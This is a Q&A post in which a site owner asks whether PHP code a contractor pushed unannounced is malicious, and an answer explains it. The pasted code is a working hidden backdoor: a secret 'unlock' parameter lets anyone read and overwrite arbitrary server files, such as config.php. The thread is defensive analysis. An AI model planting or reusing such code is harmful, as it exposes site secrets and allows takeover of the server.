Is this code malicious or safe? [closed] - php

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I'm working on a website and recently picked someone up to work on the PHP portion and I have had suspicions that he may have added malicious code to the site, he pushed a bit of PHP without permission nor without mentioning anything to anyone.
The push was labelled 'Added Security'.
Here's the code:
<?PHP
if(isset($_GET['unlock'])) {
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
$url = './$name?unlock&id='.$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
$text = htmlentities(file_get_contents($file));
echo "<form method='post'><input type='submit'><textarea name='text'>$text</textarea></form>$dic";
die();
}
?>
Thanks in advance.

Answer 1

Let's see, the following
<?php
if(isset($_GET['unlock'])) {
...
}
Means that if you don't send the parameter unlock then nothing would be displayed. Is like a knaive attempt of keeping a secret piece of code that only he can unlock with a magic word.
Regarding what's inside
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
//$url = './$name?unlock&id='.$id; // the former would fail to interpolate $name
$url = "./$name&id=".$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
$text = htmlentities(file_get_contents($file));
echo"<form method='post'><input type='submit'><textarea name='text'>$text</textarea> </form>";
If you pass the parameter unlock and id (which is a filename), plus optionally a parameter f (which is a folder) you can see the contents of that file in the textarea. For example
http://www.myserver.com/thescript.php?unlock&id=config.php&f=app
would expose whatever sensitive information you have in your config.php inside the app folder.
Finally, this part
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
Would let you edit or create a file by submitting the form. It might fail due to lack of permissions, but since you can play with the folder, you just insist until you find a writable folder.